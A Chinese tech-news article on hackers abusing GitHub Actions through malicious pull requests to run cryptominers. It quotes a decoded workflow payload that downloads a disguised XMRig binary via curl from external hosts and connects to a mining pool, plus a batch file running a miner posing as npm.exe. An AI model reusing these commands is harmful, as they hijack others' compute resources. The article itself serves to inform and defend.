黑客用GitHub服务器挖矿，三天跑了3万个任务，代码惊现中文

Posted 2021-05-03 IT技术官

作者 | 梦晨 晓查 发自 凹非寺

来源 | 量子位 报道 

加密货币价格一路高涨，显卡又买不起，怎么才能“廉价”挖矿？

黑客们动起了歪心思——“白嫖”服务器。

给PC植入挖矿木马，已经无法满足黑客日益增长的算力需求，如果能用上GitHub的服务器，还不花钱，那当然是极好的。

而且整个过程可能比侵入PC还容易，甚至都不需要程序员上当受骗。只需提交Pull Request（PR），即使项目管理者没有批准，恶意挖矿代码依然能够执行。

原理也很简单，利用GitHub Action的自动执行工作流功能，轻松将挖矿程序运行在GitHub的服务器上。

早在去年11月，就已经有人发现黑客这种行为。更可怕的是，半年过去了，这种现象依然没得到有效制止。

GitHub心里苦啊，虽然可以封禁违规账号，但黑客们玩起了“游击战术”，不断更换马甲号逃避“追捕”，让官方疲于奔命。

就在几天前，一位荷兰的程序员还发现，这种攻击方式依然存在，甚至代码里还出现了中文。

那么，这些黑客是如何植入挖矿程序的呢？一切要从发现异常的法国程序员Tib说起。

PR异常让程序员起疑心

去年11月，Tib发现，自己在一个没有参加的repo上收到了PR请求。而且在14个小时内就收到了7个，全是来自一个“y4ndexhater1”的用户，没有任何描述内容。

令人感到奇怪的是，这并不是一个热门项目，Star数量为0。

打开项目主页发现，内容是Perl项目的github action、circle ci、travis-ci示例代码集合，整个README文档一团糟，根本不像一个正经的开源项目。

然而就是这个混乱又冷门的repo，居然在3天里被fork了2次。

一切都太不正常了，让人嗅到了一丝不安的气息。

尝试“作死”运行

本着“作死”的精神，Tib决定一探究竟。

经过那位可疑用户的操作，Tib所有的action都被删除，在工作流里被加入了一个ci.yml文件，内容如下：

当Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt这一行内容后，立刻从沙发上跳了起来，他意识到事情的严重性：有人在入侵他的GitHub个人资料！

这串看似神秘的字符，其实是base64编码，经过翻译后，得到了另一段代码：

apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null

前面两行不必解释，有意思的地方从第三行开始，它会下载一个prog二进制文件。

为了安全起见，Tib先尝试获取信息而不是执行，得到了它的十六进制代码。

$ objdump -s --section .comment prog
prog:     file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e  GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31  2.1_pre1) 10.2.1
0020 20323032 30313230 3300                20201203.

Tib也考虑过反编译，但是没有成功。

不入虎穴，焉得虎子，Tib决定尝试运行一下。

要执行这一大胆而又作死的任务，防止“试试就逝世”，Tib首先断开了电脑的网络链接，并选择在Docker容器中运行。

答案终于揭晓，原来这个prog是一个名为XMRig的挖矿程序。

$ ./prog --version
XMRig 6.8.1 
built on Feb  3 2021 with GCC 10.2.1
features: 64-bit AES

libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0

当时XMRig的最新版恰好是6.8.1，和上面的版本参数符合。不过用SHA256检测后发现，这个prog并不完全是XMRig，Tib预测它可能是一个修改版。

实际上，可能被攻击的不止GitHub，安全公司Aqua推测，像Docker Hub、Travis CI、Circle CI这些SaaS软件开发环境，都可能遭受这类攻击。

在这个攻击过程中，会派生一个合法的repo，负责将恶意的GitHub Action添加到原始代码。然后，黑客再向原始repo提交一个PR，将代码合并回原始repo。

下载的挖矿程序会伪装成prog或者gcc编译器，通过提交PR在项目执行自动化工作流。此时服务器将运行伪装后的挖矿程序。

这些攻击者仅一次攻击就可以运行多达100个挖矿程序，从而给GitHub的服务器带来了巨大的计算量。

据Aqua估计，仅在三天的时间里，挖矿黑客就在GitHub上有超过2.33万次commit、在Docker Hub上5.8万次build，转化了大约3万个挖矿任务。

可以防范但很难根除

这种攻击甚至不需要被攻击的仓库管理者接受恶意Pull Request。

只要在.github/workflows目录里面的任意.yml文件中配置了在收到Pull Request时执行，来自黑客的Action就会自动被执行。

如果你没有使用这个功能，那就不用担心啦，黑客大概也不会找上你。

需要用到这个功能的话，可以设置成只允许本地Action或只允许Github官方及特定作者创建的Action。

将情况反馈给客服后，GitHub会对恶意账号进行封号和关闭相关Pull Request的操作。

但恶意攻击很难被根除，黑客只需要注册新的账号就可以继续白嫖服务器资源。

攻击还在继续

我们从最近一次攻击中发现，黑客将挖矿程序上传到GitLab并伪装成包管理工具npm。

打开这个可疑的nani.bat，可以看到：

npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP 
--password xo

这一次黑客挖的是乌龟币*(TurtleCoin)*,可使用CPU计算。按当前价格挖出四千多个币才值1美元。

Github Actions的免费服务器可以提供英特尔E5 2673v4的两个核心，7GB内存。

大致估算单台运行一天只能获利几美分，而且黑客的挖矿程序通常只能在被发现之前运行几个小时。比如Docker Hub就把自动build的运行时间限制在2个小时。

不过蚊子再小也是肉，黑客通过寻找更多接受公开Action的仓库以及反复打开关闭Pull Request就能执行更多的挖矿程序。

同一黑客账号至少攻击了95个GitHub仓库

正如Twitter用户Dave Walker所说的，如果你提供免费的计算资源，就要做好会被攻击和滥用的觉悟。挖矿有利可图的情况下这是不可避免的。

据报道，受害的不止GitHub，还有Docker Hub、Travis CI以及Circle CI等提供类似服务的持续集成平台。

这一乱象不知何时才能结束，唯一的好消息可能就是，挖矿的黑客似乎只是针对GitHub提供的服务器资源，而不会破坏你的代码。

但是GitHub Action的漏洞不止这一个。还有方法能使黑客读写开发者的仓库，甚至可以读取加密的机密文件。

去年7月，Google Project Zero团队就已向GitHub通报漏洞。但在给出的90天修复期限+延长14天后，GitHub仍未能有效解决。

对此，我们的建议是，不要轻易相信GitHub市场里的Action作者，不要交出你的密匙。

参考链接：

[1]https://therecord.media/github-investigating-crypto-mining-campaign-abusing-its-server-infrastructure/

[2]https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc 

[3]https://blog.aquasec.com/container-security-alert-campaign-abusing-github-dockerhub-travis-ci-circle-ci

[4]https://twitter.com/JustinPerdok

[5]https://bugs.chromium.org/p/project-zero/issues/detail?id=2070